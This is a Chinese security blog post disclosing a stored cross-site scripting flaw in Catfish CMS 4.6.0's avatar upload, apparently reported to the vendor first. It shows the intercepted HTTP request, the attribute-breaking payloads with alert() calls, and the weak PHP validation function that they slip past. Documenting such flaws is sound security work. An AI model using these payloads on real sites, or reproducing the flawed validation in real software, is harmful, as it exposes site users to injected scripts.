Nov 19 2017

鲶鱼CMS存储XSS漏洞披露

首页 » 漏洞收集 » 鲶鱼CMS存储XSS漏洞披露   

Catfish(鲶鱼) CMS是一款开源的PHP内容管理系统。这个cms是十月我和学长小胡子一起审计的。所以在这里声明下,洞是他找的,他不善言辞,授权给我来写文章。漏洞已提交给厂商,同意公开此漏洞。

XSS漏洞点

这里的版本是V4.6.0。出问题的地方是头像上传这个地方,这个cms以前爆过一枚任意文件删除漏洞也是这里。

  1. 先注册一个普通用户
  2. 登录,上传一张头像。
  3. 上传成功后开启抓包,点击“头像保存”。

1.jpg

抓到数据如下

2.jpg


修改

POST /daimashenji/CatfishCMS-4.6.0/index.php/user/index/touxiang.html HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 139 Referer: http://127.0.0.1/daimashenji/CatfishCMS-4.6.0/index.php/user/index/touxiang.html Cookie: think_var=zh-cn; PHPSESSID=uo2u29h3sf9er6bj9f3d36rj80 Connection: close Upgrade-Insecure-Requests: 1 avatar=http://127.0.0.1/daimashenji/CatfishCMS-4.6.0/data/uploads/20171109/022d804c4ea9af66c1a1f901d7c0b6a1.png" onload="alert(1)" a="1.jpg&fileselect%5B%5D= 

回显

3.png



相关代码跟进

CatfishCMS-4.6.0/application/admin/controller/Index.php页面代码,96行

4.jpg




这个函数对传入的avatar参数进行检验,继续跟进

位于CatfishCMS-4.6.0/application/admin/controller/Common.php页面,313行


protected function isLegalPicture($picture) { if(stripos($picture,'>') === false) { $pathinfo = pathinfo($picture); if(isset($pathinfo['extension'])) { if(in_array($pathinfo['extension'],['jpeg','jpg','png','gif']) && stripos($pathinfo['dirname'],'/data/') !== false) { return true; } } } return false; }



三个限制:

  1. 参数不能含有 “>”
  2. 要以jpeg,jpg,png,gif 结尾
  3. 要含有 “/data/” 路径

观察原来输出点,是以双引号进行闭合,触发事件可以onload或者onerror或者其他,以.jpg结尾。所以我们payload为:

avatar=http://127.0.0.1/daimashenji/CatfishCMS-4.6.0/data/uploads/20171109/test.png" onerror="alert(2)" a="1.jpg

一点感悟

最近看到大佬们在微博说的几句: 如果某个地方爆出了洞,就可以往这个地方深挖。因为最后讲道理程序会出问题不仅仅是代码的问题,而是人的问题。

*本文原创作者:Deen,属于FreeBuf原创奖励计划,禁止转载



如果您喜欢本博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容:

正文部分到此结束

文章标签: 鲶鱼cms 鲶鱼漏洞

版权声明:若无特殊注明,本文皆为( mOon )原创,转载请保留文章出处。

也许喜欢: «PHP渗透中的奇淫技巧--检查相等时的漏洞 | Masscan及Nmap实现对阿里云ECS的外网端口监控»

你肿么看?

你还可以输入 250/250 个字

微笑 大笑 拽 大哭 亲亲 流汗 喷血 奸笑 囧 不爽 晕 示爱 害羞 吃惊 惊叹 爱你 吓死了 呵呵

评论信息框

这篇文章还没有收到评论,赶紧来抢沙发吧~

友情链接:万达注册  guoqibee.com  万达主管QQ  万达开户  万达娱乐招商QQ  万达娱乐主管  万达招商  guoqibee.com  万达娱乐注册  测试